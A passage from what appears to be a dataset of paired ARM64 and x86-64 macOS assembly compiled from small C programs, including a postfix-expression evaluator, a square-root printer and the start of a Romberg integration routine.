.cfi_def_cfa_offset 80
stp x29, x30, [sp, #64] ; 16-byte Folded Spill
add x29, sp, #64
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
sub x8, x29, #12
str x8, [x9, #8]
sub x8, x29, #16
str x8, [x9, #16]
sub x8, x29, #20
str x8, [x9, #24]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldur w8, [x29, #-8]
ldur w9, [x29, #-12]
sdiv w8, w8, w9
ldur w9, [x29, #-20]
mul w8, w8, w9
stur w8, [x29, #-24]
ldur w8, [x29, #-8]
ldur w10, [x29, #-12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
ldur w9, [x29, #-16]
mul w8, w8, w9
ldur w9, [x29, #-20]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
ldur w8, [x29, #-8]
ldur w10, [x29, #-12]
sdiv w9, w8, w10
mul w9, w9, w10
subs w8, w8, w9
ldur w9, [x29, #-16]
mul w9, w8, w9
ldur w8, [x29, #-24]
add w8, w8, w9
stur w8, [x29, #-24]
b LBB0_3
LBB0_2:
ldur w9, [x29, #-20]
ldur w8, [x29, #-24]
add w8, w8, w9
stur w8, [x29, #-24]
b LBB0_3
LBB0_3:
ldur w8, [x29, #-24]
ldur w9, [x29, #-8]
ldur w10, [x29, #-16]
mul w9, w9, w10
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldur w8, [x29, #-8]
ldur w9, [x29, #-16]
mul w8, w8, w9
stur w8, [x29, #-24]
b LBB0_5
LBB0_5:
ldur w9, [x29, #-24]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #64] ; 16-byte Folded Reload
add sp, sp, #80
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz " %d %d %d %d"
l_.str.1: ; @.str.1
.asciz "%d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
leaq -12(%rbp), %rdx
leaq -16(%rbp), %rcx
leaq -20(%rbp), %r8
movb $0, %al
callq _scanf
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
imull -20(%rbp), %eax
movl %eax, -24(%rbp)
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
imull -16(%rbp), %edx
cmpl -20(%rbp), %edx
jge LBB0_2
## %bb.1:
movl -8(%rbp), %eax
cltd
idivl -12(%rbp)
movl %edx, %eax
imull -16(%rbp), %eax
addl -24(%rbp), %eax
movl %eax, -24(%rbp)
jmp LBB0_3
LBB0_2:
movl -20(%rbp), %eax
addl -24(%rbp), %eax
movl %eax, -24(%rbp)
LBB0_3:
movl -24(%rbp), %eax
movl -8(%rbp), %ecx
imull -16(%rbp), %ecx
cmpl %ecx, %eax
jle LBB0_5
## %bb.4:
movl -8(%rbp), %eax
imull -16(%rbp), %eax
movl %eax, -24(%rbp)
LBB0_5:
movl -24(%rbp), %esi
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz " %d %d %d %d"
L_.str.1: ## @.str.1
.asciz "%d\n"
.subsections_via_symbols
| the_stack_data/162642912.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function main
lCPI0_0:
.quad 0x4090000000000000 ; double 1024
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
mov w8, #0
str w8, [sp, #20] ; 4-byte Folded Spill
stur wzr, [x29, #-4]
adrp x8, lCPI0_0@PAGE
ldr d0, [x8, lCPI0_0@PAGEOFF]
stur d0, [x29, #-16]
ldur d0, [x29, #-16]
fsqrt d0, d0
str d0, [sp, #24]
ldur d1, [x29, #-16]
ldr d0, [sp, #24]
mov x8, sp
str d1, [x8]
str d0, [x8, #8]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
ldr w0, [sp, #20] ; 4-byte Folded Reload
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "sqrt(%.1f) = %.1f\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ## -- Begin function main
LCPI0_0:
.quad 0x4090000000000000 ## double 1024
.section __TEXT,__text,regular,pure_instructions
.globl _main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
movsd LCPI0_0(%rip), %xmm0 ## xmm0 = mem[0],zero
movsd %xmm0, -16(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
sqrtsd %xmm0, %xmm0
movsd %xmm0, -24(%rbp)
movsd -16(%rbp), %xmm0 ## xmm0 = mem[0],zero
movsd -24(%rbp), %xmm1 ## xmm1 = mem[0],zero
leaq L_.str(%rip), %rdi
movb $2, %al
callq _printf
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "sqrt(%.1f) = %.1f\n"
.subsections_via_symbols
| the_stack_data/1265388.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _init ; -- Begin function init
.p2align 2
_init: ; @init
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
str x0, [sp, #8]
ldr x8, [sp, #8]
; kill: def $x9 killed $xzr
str xzr, [x8]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _push ; -- Begin function push
.p2align 2
_push: ; @push
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur x0, [x29, #-8]
stur w1, [x29, #-12]
ldur x8, [x29, #-8]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB1_2
b LBB1_1
LBB1_1:
mov x0, #16
bl _malloc
ldur x8, [x29, #-8]
str x0, [x8]
ldur w8, [x29, #-12]
ldur x9, [x29, #-8]
ldr x9, [x9]
str w8, [x9]
ldur x8, [x29, #-8]
ldr x8, [x8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB1_6
LBB1_2:
ldur x8, [x29, #-8]
ldr x8, [x8]
str x8, [sp, #8]
mov x0, #16
bl _malloc
str x0, [sp]
ldur w8, [x29, #-12]
ldr x9, [sp]
str w8, [x9]
ldr x8, [sp]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB1_3
LBB1_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB1_5
b LBB1_4
LBB1_4: ; in Loop: Header=BB1_3 Depth=1
ldr x8, [sp, #8]
ldr x8, [x8, #8]
str x8, [sp, #8]
b LBB1_3
LBB1_5:
ldr x8, [sp]
ldr x9, [sp, #8]
str x8, [x9, #8]
b LBB1_6
LBB1_6:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _pop ; -- Begin function pop
.p2align 2
_pop: ; @pop
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
str x0, [sp, #16]
ldr x8, [sp, #16]
ldr x8, [x8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_2
b LBB2_1
LBB2_1:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
stur wzr, [x29, #-4]
b LBB2_8
LBB2_2:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB2_4
b LBB2_3
LBB2_3:
ldr x8, [sp, #16]
ldr x8, [x8]
ldr w8, [x8]
str w8, [sp, #12]
ldr x8, [sp, #16]
ldr x0, [x8]
bl _free
ldr x8, [sp, #16]
; kill: def $x9 killed $xzr
str xzr, [x8]
ldr w8, [sp, #12]
stur w8, [x29, #-4]
b LBB2_8
LBB2_4:
ldr x8, [sp, #16]
ldr x8, [x8]
str x8, [sp]
b LBB2_5
LBB2_5: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB2_7
b LBB2_6
LBB2_6: ; in Loop: Header=BB2_5 Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
str x8, [sp]
b LBB2_5
LBB2_7:
ldr x8, [sp]
ldr x8, [x8, #8]
ldr w8, [x8]
str w8, [sp, #8]
ldr x8, [sp]
ldr x0, [x8, #8]
bl _free
ldr x8, [sp]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
ldr w8, [sp, #8]
stur w8, [x29, #-4]
b LBB2_8
LBB2_8:
ldur w0, [x29, #-4]
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.globl _isDigit ; -- Begin function isDigit
.p2align 2
_isDigit: ; @isDigit
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
strb w0, [sp, #15]
ldrsb w8, [sp, #15]
subs w8, w8, #48
cset w8, lt
mov w9, #0
str w9, [sp, #8] ; 4-byte Folded Spill
tbnz w8, #0, LBB3_2
b LBB3_1
LBB3_1:
ldrsb w8, [sp, #15]
subs w8, w8, #57
cset w8, le
str w8, [sp, #8] ; 4-byte Folded Spill
b LBB3_2
LBB3_2:
ldr w8, [sp, #8] ; 4-byte Folded Reload
and w9, w8, #0x1
mov w8, #0
ands w9, w9, #0x1
csinc w0, w8, wzr, eq
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-8]
stur wzr, [x29, #-32]
adrp x0, l_.str.1@PAGE
add x0, x0, l_.str.1@PAGEOFF
bl _printf
mov x9, sp
sub x8, x29, #28
str x8, [x9]
adrp x0, l_.str.2@PAGE
add x0, x0, l_.str.2@PAGEOFF
bl _scanf
sub x0, x29, #40
bl _init
stur wzr, [x29, #-44]
b LBB4_1
LBB4_1: ; =>This Inner Loop Header: Depth=1
ldursw x9, [x29, #-44]
sub x8, x29, #28
ldrsb w8, [x8, x9]
subs w8, w8, #0
cset w8, eq
tbnz w8, #0, LBB4_14
b LBB4_2
LBB4_2: ; in Loop: Header=BB4_1 Depth=1
ldursw x9, [x29, #-44]
sub x8, x29, #28
ldrsb w0, [x8, x9]
bl _isDigit
subs w8, w0, #0
cset w8, eq
tbnz w8, #0, LBB4_4
b LBB4_3
LBB4_3: ; in Loop: Header=BB4_1 Depth=1
ldursw x9, [x29, #-44]
sub x8, x29, #28
ldrsb w8, [x8, x9]
subs w1, w8, #48
sub x0, x29, #40
bl _push
b LBB4_12
LBB4_4: ; in Loop: Header=BB4_1 Depth=1
sub x0, x29, #40
str x0, [sp, #32] ; 8-byte Folded Spill
bl _pop
mov x8, x0
ldr x0, [sp, #32] ; 8-byte Folded Reload
stur w8, [x29, #-48]
bl _pop
stur w0, [x29, #-52]
ldur w8, [x29, #-52]
; implicit-def: $x10
mov x10, x8
ldursw x9, [x29, #-44]
sub x8, x29, #28
str x8, [sp, #40] ; 8-byte Folded Spill
ldrsb w11, [x8, x9]
ldur w9, [x29, #-48]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x10, [x9]
; implicit-def: $x10
mov x10, x11
str x10, [x9, #8]
str x8, [x9, #16]
adrp x0, l_.str.3@PAGE
add x0, x0, l_.str.3@PAGEOFF
bl _printf
ldr x8, [sp, #40] ; 8-byte Folded Reload
ldursw x9, [x29, #-44]
ldrsb w8, [x8, x9]
subs w8, w8, #42
; kill: def $x8 killed $w8
str x8, [sp, #48] ; 8-byte Folded Spill
subs x8, x8, #5
cset w8, hi
tbnz w8, #0, LBB4_10
; %bb.5: ; in Loop: Header=BB4_1 Depth=1
ldr x11, [sp, #48] ; 8-byte Folded Reload
adrp x10, lJTI4_0@PAGE
add x10, x10, lJTI4_0@PAGEOFF
Ltmp2:
adr x8, Ltmp2
ldrsw x9, [x10, x11, lsl #2]
add x8, x8, x9
br x8
LBB4_6: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-52]
ldur w9, [x29, #-48]
add w1, w8, w9
sub x0, x29, #40
bl _push
b LBB4_11
LBB4_7: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-52]
ldur w9, [x29, #-48]
subs w1, w8, w9
sub x0, x29, #40
bl _push
b LBB4_11
LBB4_8: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-52]
ldur w9, [x29, #-48]
mul w1, w8, w9
sub x0, x29, #40
bl _push
b LBB4_11
LBB4_9: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-52]
ldur w9, [x29, #-48]
sdiv w1, w8, w9
sub x0, x29, #40
bl _push
b LBB4_11
LBB4_10:
ldursw x9, [x29, #-44]
sub x8, x29, #28
ldrsb w10, [x8, x9]
mov x9, sp
; implicit-def: $x8
mov x8, x10
str x8, [x9]
adrp x0, l_.str.4@PAGE
add x0, x0, l_.str.4@PAGEOFF
bl _printf
mov w8, #1
stur w8, [x29, #-32]
b LBB4_15
LBB4_11: ; in Loop: Header=BB4_1 Depth=1
b LBB4_12
LBB4_12: ; in Loop: Header=BB4_1 Depth=1
b LBB4_13
LBB4_13: ; in Loop: Header=BB4_1 Depth=1
ldur w8, [x29, #-44]
add w8, w8, #1
stur w8, [x29, #-44]
b LBB4_1
LBB4_14:
sub x0, x29, #40
bl _pop
mov x9, sp
; implicit-def: $x8
mov x8, x0
str x8, [x9]
adrp x0, l_.str.5@PAGE
add x0, x0, l_.str.5@PAGEOFF
bl _printf
stur wzr, [x29, #-32]
b LBB4_15
LBB4_15:
ldur w8, [x29, #-32]
str w8, [sp, #28] ; 4-byte Folded Spill
ldur x9, [x29, #-8]
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
subs x8, x8, x9
cset w8, eq
tbnz w8, #0, LBB4_17
b LBB4_16
LBB4_16:
bl ___stack_chk_fail
LBB4_17:
ldr w0, [sp, #28] ; 4-byte Folded Reload
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
add sp, sp, #128
ret
.cfi_endproc
.p2align 2
lJTI4_0:
.long LBB4_8-Ltmp2
.long LBB4_6-Ltmp2
.long LBB4_10-Ltmp2
.long LBB4_7-Ltmp2
.long LBB4_10-Ltmp2
.long LBB4_9-Ltmp2
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Underflow Error!"
l_.str.1: ; @.str.1
.asciz "Enter Postfix expresssion:\n"
l_.str.2: ; @.str.2
.asciz "%s"
l_.str.3: ; @.str.3
.asciz "%d%c%d\n"
l_.str.4: ; @.str.4
.asciz "Unknown operator %c\n"
l_.str.5: ; @.str.5
.asciz "The answer is %d\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _init ## -- Begin function init
.p2align 4, 0x90
_init: ## @init
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, -8(%rbp)
movq -8(%rbp), %rax
movq $0, (%rax)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _push ## -- Begin function push
.p2align 4, 0x90
_push: ## @push
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -8(%rbp)
movl %esi, -12(%rbp)
movq -8(%rbp), %rax
cmpq $0, (%rax)
jne LBB1_2
## %bb.1:
movl $16, %edi
callq _malloc
movq %rax, %rcx
movq -8(%rbp), %rax
movq %rcx, (%rax)
movl -12(%rbp), %ecx
movq -8(%rbp), %rax
movq (%rax), %rax
movl %ecx, (%rax)
movq -8(%rbp), %rax
movq (%rax), %rax
movq $0, 8(%rax)
jmp LBB1_6
LBB1_2:
movq -8(%rbp), %rax
movq (%rax), %rax
movq %rax, -24(%rbp)
movl $16, %edi
callq _malloc
movq %rax, -32(%rbp)
movl -12(%rbp), %ecx
movq -32(%rbp), %rax
movl %ecx, (%rax)
movq -32(%rbp), %rax
movq $0, 8(%rax)
LBB1_3: ## =>This Inner Loop Header: Depth=1
movq -24(%rbp), %rax
cmpq $0, 8(%rax)
je LBB1_5
## %bb.4: ## in Loop: Header=BB1_3 Depth=1
movq -24(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -24(%rbp)
jmp LBB1_3
LBB1_5:
movq -32(%rbp), %rcx
movq -24(%rbp), %rax
movq %rcx, 8(%rax)
LBB1_6:
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _pop ## -- Begin function pop
.p2align 4, 0x90
_pop: ## @pop
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movq %rdi, -16(%rbp)
movq -16(%rbp), %rax
cmpq $0, (%rax)
jne LBB2_2
## %bb.1:
leaq L_.str(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -4(%rbp)
jmp LBB2_8
LBB2_2:
movq -16(%rbp), %rax
movq (%rax), %rax
cmpq $0, 8(%rax)
jne LBB2_4
## %bb.3:
movq -16(%rbp), %rax
movq (%rax), %rax
movl (%rax), %eax
movl %eax, -20(%rbp)
movq -16(%rbp), %rax
movq (%rax), %rdi
callq _free
movq -16(%rbp), %rax
movq $0, (%rax)
movl -20(%rbp), %eax
movl %eax, -4(%rbp)
jmp LBB2_8
LBB2_4:
movq -16(%rbp), %rax
movq (%rax), %rax
movq %rax, -32(%rbp)
LBB2_5: ## =>This Inner Loop Header: Depth=1
movq -32(%rbp), %rax
movq 8(%rax), %rax
cmpq $0, 8(%rax)
je LBB2_7
## %bb.6: ## in Loop: Header=BB2_5 Depth=1
movq -32(%rbp), %rax
movq 8(%rax), %rax
movq %rax, -32(%rbp)
jmp LBB2_5
LBB2_7:
movq -32(%rbp), %rax
movq 8(%rax), %rax
movl (%rax), %eax
movl %eax, -24(%rbp)
movq -32(%rbp), %rax
movq 8(%rax), %rdi
callq _free
movq -32(%rbp), %rax
movq $0, 8(%rax)
movl -24(%rbp), %eax
movl %eax, -4(%rbp)
LBB2_8:
movl -4(%rbp), %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _isDigit ## -- Begin function isDigit
.p2align 4, 0x90
_isDigit: ## @isDigit
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movb %dil, %al
movb %al, -1(%rbp)
movsbl -1(%rbp), %ecx
xorl %eax, %eax
## kill: def $al killed $al killed $eax
cmpl $48, %ecx
movb %al, -2(%rbp) ## 1-byte Spill
jl LBB3_2
## %bb.1:
movsbl -1(%rbp), %eax
cmpl $57, %eax
setle %al
movb %al, -2(%rbp) ## 1-byte Spill
LBB3_2:
movb -2(%rbp), %dl ## 1-byte Reload
xorl %eax, %eax
movl $1, %ecx
testb $1, %dl
cmovnel %ecx, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $96, %rsp
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq %rax, -8(%rbp)
movl $0, -36(%rbp)
leaq L_.str.1(%rip), %rdi
movb $0, %al
callq _printf
leaq -32(%rbp), %rsi
leaq L_.str.2(%rip), %rdi
movb $0, %al
callq _scanf
leaq -48(%rbp), %rdi
callq _init
movl $0, -52(%rbp)
LBB4_1: ## =>This Inner Loop Header: Depth=1
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %eax
cmpl $0, %eax
je LBB4_13
## %bb.2: ## in Loop: Header=BB4_1 Depth=1
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %edi
callq _isDigit
cmpl $0, %eax
je LBB4_4
## %bb.3: ## in Loop: Header=BB4_1 Depth=1
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %esi
subl $48, %esi
leaq -48(%rbp), %rdi
callq _push
jmp LBB4_11
LBB4_4: ## in Loop: Header=BB4_1 Depth=1
leaq -48(%rbp), %rdi
movq %rdi, -80(%rbp) ## 8-byte Spill
callq _pop
movq -80(%rbp), %rdi ## 8-byte Reload
movl %eax, -56(%rbp)
callq _pop
movl %eax, -60(%rbp)
movl -60(%rbp), %esi
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %edx
movl -56(%rbp), %ecx
leaq L_.str.3(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %eax
addl $-42, %eax
movl %eax, %ecx
movq %rcx, -72(%rbp) ## 8-byte Spill
subl $5, %eax
ja LBB4_9
## %bb.17: ## in Loop: Header=BB4_1 Depth=1
movq -72(%rbp), %rax ## 8-byte Reload
leaq LJTI4_0(%rip), %rcx
movslq (%rcx,%rax,4), %rax
addq %rcx, %rax
jmpq *%rax
LBB4_5: ## in Loop: Header=BB4_1 Depth=1
movl -60(%rbp), %esi
addl -56(%rbp), %esi
leaq -48(%rbp), %rdi
callq _push
jmp LBB4_10
LBB4_6: ## in Loop: Header=BB4_1 Depth=1
movl -60(%rbp), %esi
subl -56(%rbp), %esi
leaq -48(%rbp), %rdi
callq _push
jmp LBB4_10
LBB4_7: ## in Loop: Header=BB4_1 Depth=1
movl -60(%rbp), %esi
imull -56(%rbp), %esi
leaq -48(%rbp), %rdi
callq _push
jmp LBB4_10
LBB4_8: ## in Loop: Header=BB4_1 Depth=1
movl -60(%rbp), %eax
cltd
idivl -56(%rbp)
movl %eax, %esi
leaq -48(%rbp), %rdi
callq _push
jmp LBB4_10
LBB4_9:
movslq -52(%rbp), %rax
movsbl -32(%rbp,%rax), %esi
leaq L_.str.4(%rip), %rdi
movb $0, %al
callq _printf
movl $1, -36(%rbp)
jmp LBB4_14
LBB4_10: ## in Loop: Header=BB4_1 Depth=1
jmp LBB4_11
LBB4_11: ## in Loop: Header=BB4_1 Depth=1
jmp LBB4_12
LBB4_12: ## in Loop: Header=BB4_1 Depth=1
movl -52(%rbp), %eax
addl $1, %eax
movl %eax, -52(%rbp)
jmp LBB4_1
LBB4_13:
leaq -48(%rbp), %rdi
callq _pop
movl %eax, %esi
leaq L_.str.5(%rip), %rdi
movb $0, %al
callq _printf
movl $0, -36(%rbp)
LBB4_14:
movl -36(%rbp), %eax
movl %eax, -84(%rbp) ## 4-byte Spill
movq ___stack_chk_guard@GOTPCREL(%rip), %rax
movq (%rax), %rax
movq -8(%rbp), %rcx
cmpq %rcx, %rax
jne LBB4_16
## %bb.15:
movl -84(%rbp), %eax ## 4-byte Reload
addq $96, %rsp
popq %rbp
retq
LBB4_16:
callq ___stack_chk_fail
ud2
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L4_0_set_7, LBB4_7-LJTI4_0
.set L4_0_set_5, LBB4_5-LJTI4_0
.set L4_0_set_9, LBB4_9-LJTI4_0
.set L4_0_set_6, LBB4_6-LJTI4_0
.set L4_0_set_8, LBB4_8-LJTI4_0
LJTI4_0:
.long L4_0_set_7
.long L4_0_set_5
.long L4_0_set_9
.long L4_0_set_6
.long L4_0_set_9
.long L4_0_set_8
.end_data_region
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Underflow Error!"
L_.str.1: ## @.str.1
.asciz "Enter Postfix expresssion:\n"
L_.str.2: ## @.str.2
.asciz "%s"
L_.str.3: ## @.str.3
.asciz "%d%c%d\n"
L_.str.4: ## @.str.4
.asciz "Unknown operator %c\n"
L_.str.5: ## @.str.5
.asciz "The answer is %d\n"
.subsections_via_symbols
| the_stack_data/170453350.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.section __TEXT,__literal8,8byte_literals
.p2align 3 ; -- Begin function qromb
lCPI0_0:
.quad 0x3eb0c6f7a0b5ed8d ; double 9.9999999999999995E-7
.section __TEXT,__text,regular,pure_instructions
.globl _qromb
.p2align 2
_qromb: ; @qromb
.cfi_startproc
; %bb.0:
stp x28, x27, [sp, #-32]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w27, -24
.cfi_offset w28, -32
sub sp, sp, #736
adrp x8, ___stack_chk_guard@GOTPAGE
ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF]
ldr x8, [x8]
stur x8, [x29, #-24]
str x0, [sp, #48]
str d0, [sp, #40]
str d1, [sp, #32]
fmov d0, #1.00000000
str d0, [sp, #72]
mov w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_1: ; =>This Inner Loop Header: Depth=1
ldr w8, [sp, #12]
subs w8, w8, #40
cset w8, gt
tbnz w8, #0, LBB0_8
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldr x0, [sp, #48]
ldr d0, [sp, #40]
ldr d1, [sp, #32]
ldr w1, [sp, #12]
bl _trapzd
ldrsw x9, [sp, #12]
add x8, sp, #400
str d0, [x8, x9, lsl #3]
ldr w8, [sp, #12]
subs w8, w8, #5
cset w8, lt
tbnz w8, #0, LBB0_6
b LBB0_3
LBB0_3: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
mov w2, #5
subs w9, w8, #5
add x8, sp, #64
add x0, x8, w9, sxtw #3
ldr w8, [sp, #12]
subs w9, w8, #5
add x8, sp, #400
add x1, x8, w9, sxtw #3
movi d0, #0000000000000000
add x3, sp, #24
add x4, sp, #16
bl _polint
ldr d0, [sp, #16]
fabs d0, d0
ldr d1, [sp, #24]
fabs d2, d1
adrp x8, lCPI0_0@PAGE
ldr d1, [x8, lCPI0_0@PAGEOFF]
fmul d1, d1, d2
fcmp d0, d1
cset w8, hi
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4:
ldr d0, [sp, #24]
str d0, [sp, #56]
b LBB0_9
LBB0_5: ; in Loop: Header=BB0_1 Depth=1
b LBB0_6
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
ldrsw x9, [sp, #12]
add x8, sp, #64
ldr d1, [x8, x9, lsl #3]
fmov d0, #0.25000000
fmul d0, d0, d1
ldr w9, [sp, #12]
add w9, w9, #1
str d0, [x8, w9, sxtw #3]
b LBB0_7
LBB0_7: ; in Loop: Header=BB0_1 Depth=1
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_1
LBB0_8:
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _nrerror
movi d0, #0000000000000000
str d0, [sp, #56]
b LBB0_9
LBB0_9:
ldr d0, [sp, #56]
str d0, [sp] ; 8-byte Folded Spill
ldur x9, [x29, #-24]
adrp x8, ___stack_chk_guard@GOTPAGE
